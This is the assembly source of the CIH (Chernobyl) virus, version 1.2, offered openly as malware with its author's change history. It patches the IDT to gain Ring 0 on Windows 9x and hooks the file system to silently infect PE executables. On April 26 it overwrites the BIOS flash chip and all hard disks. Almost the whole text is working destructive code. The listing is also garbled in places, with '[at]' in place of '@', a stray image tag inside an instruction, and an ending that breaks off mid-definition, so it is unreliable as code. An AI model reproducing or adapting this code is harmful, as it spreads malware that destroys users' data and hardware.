************************************************** ************************* * ; * The Virus Program Information * ; ************************************************** ************************* * ; * * ; * Designer : CIH Original Place : TTIT of Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.2 * ; * Modification Time : 05/21/1998 * ; * * ; *================================================= ========================= * ; * Modification History * ; *================================================= ========================= * ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn't Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn't be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don't be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *================================================= ========================= * ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it's Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * Windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *================================================= ========================= * ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; ************************************************** ************************* * .586P ; ************************************************** ************************* * ; * Original PE Executable File(Don't Modify this Section) * ; ************************************************** ************************* * OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; ************************************************** ************************* * ; * My Virus Game * ; ************************************************** ************************* * ; ************************************************** ******* ; * Constant Define * ; ************************************************** ******* TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 2 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ; ************************************************** ******* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ************************************************** ******* ; * Ring3 Virus Game Initial Program * ; ************************************************** ******* MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call [at]0 [at]0: pop ebx lea ecx, StopToRunVirusCode-[at]0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-[at]1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: [at]1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ************************************************** ******* ; * Ring0 Virus Game Initial Program * ; ************************************************** ******* MyExceptionHook: [at]2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-[at]2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-[at]6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-[at]2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-[at]3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-[at]3[eax] mov [ecx], eax cli jmp ExitRing0Init ; ************************************************** ******* ; * Code Size of Merge Virus Code Section * ; ************************************************** ******* CodeSizeOfMergeVirusCodeSection = offset $ ; ************************************************** ******* ; * IFSMgr_InstallFileSystemApiHook * ; ************************************************** ******* InstallFileSystemApiHook: push ebx call [at]4 ; [at]4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-[at]4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-[at]3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-[at]3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret ; ************************************************** ******* ; * Static Data * ; ************************************************** ******* OldInstallFileSystemApiHook dd ? ; ************************************************** ******* ; * IFSMgr_FileSystemHook * ; ************************************************** ******* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: [at]3 = FileSystemApiHook pushad call [at]5 ; [at]5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-[at]5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-[at]6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-[at]6)[esi] ; Enable OnBusy ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-[at]6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ; ************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-[at]7)[esi] mov edi, [edi] ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack pushf ; Now CF = 0, Push Flag to Stack add esi, DataBuffer-[at]7 ; mov esi, offset DataBuffer ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h ; For Doing Minimal VirusCode's Length, ; I Save EAX to EBP. mov ebp, eax xor ecx, ecx mov cl, 04h xor edx, edx mov dl, 3ch call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ; *************************** ; * Get 'PE\0' Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn't also Infected. * ; ************************************* ; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE\0\0' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> [at]8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let's Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-[at][esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-[at][esi] mul cl ; *************************** ; * Let's Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-[at]FPRIVATE "TYPE=PICT;ALT=Cool"[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-[at]9)[esi] jnc short OnlySetInfectedMark not ecx inc ecx cmp cx, small CodeSizeOfMergeVirusCodeSection jb OnlySetInfectedMark ; *************************** ; * Save Original * ; * Address of Entry Point * ; *************************** ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table mov eax, (AddressOfEntryPoint-[at]9)[esi] add eax, (ImageBase-[at]9)[esi] mov (OriginalAddressOfEntryPoint-[at]9)[esi], eax ; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, eax push edx ; Pointer of File add eax, esi push eax ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [eax+edi-04h] mov [eax], ebx ; *************************** ; * Let's Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-[at]9)[esi] push edi ; Address of Buffer ; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-[at]9)[esi], edx ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-[at]9)[edx] sub ebx, (VirtualSize-[at]9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-[at]9)[edx] add ebx, (VirtualSize-[at]9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-[at]9)[edx] add ebx, (VirtualAddress-[at]9)[edx] add ebx, (ImageBase-[at]9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-[at]9)[edx], ebx ; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-[at]9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp+08h], ebp ; Set End Mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-[at]9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-[at]9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-[at]9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let's Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) pushf ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-[at]7)[esi] mov edi, (FileModificationTime+2-[at]7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-[at]7)[esi] ; Disable OnBusy ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad mov eax, dr0 ; jmp [eax] ; Jump to prevhook ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Push pioreq call [ebx+20h+04h] ; Call pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-[at]6)[esi], eax ; *************************** ; * Quit My Virus' * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ret ; ************************************* ; * Kill Computer !? ... *^_^* * ; ************************************* IsKillComputer: ; Get Now Month from BIOS CMOS mov ax, 0708h out 70h, al in al, 71h xchg ah, al ; Get Now Day from BIOS CMOS out 70h, al in al, 71h xor ax, 0426h ; 04/26/???? jne DisableOnBusy ; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; ************************************** ; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-[at]7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-[at]10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-[at]10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al,10h mov word ptr (BooleanCalculateCode-[at]10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; ************************************************** * ; * IOR Structure of IOS_SendCommand Needs * ; ************************************************** * ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; ************************************************** * KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: [at]10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ************************************************** ******* ; * Static Data * ; ************************************************** ******* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ************************************************** ******* ; * Virus Version Copyright * ; ************************************************** ******* VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TTIT' ; ************************************************** ******* ; * Virus Size * ; ************************************************** ******* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(0 8h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ************************************************** ******* ; * Dynamic Data * ; ************************************************** ******* VirusGameDataStartAddress = VirusSize [at]6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) [at]7 = FileNameBuffer DataBuffer = $ [at]8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? [at]9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = [at]9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = 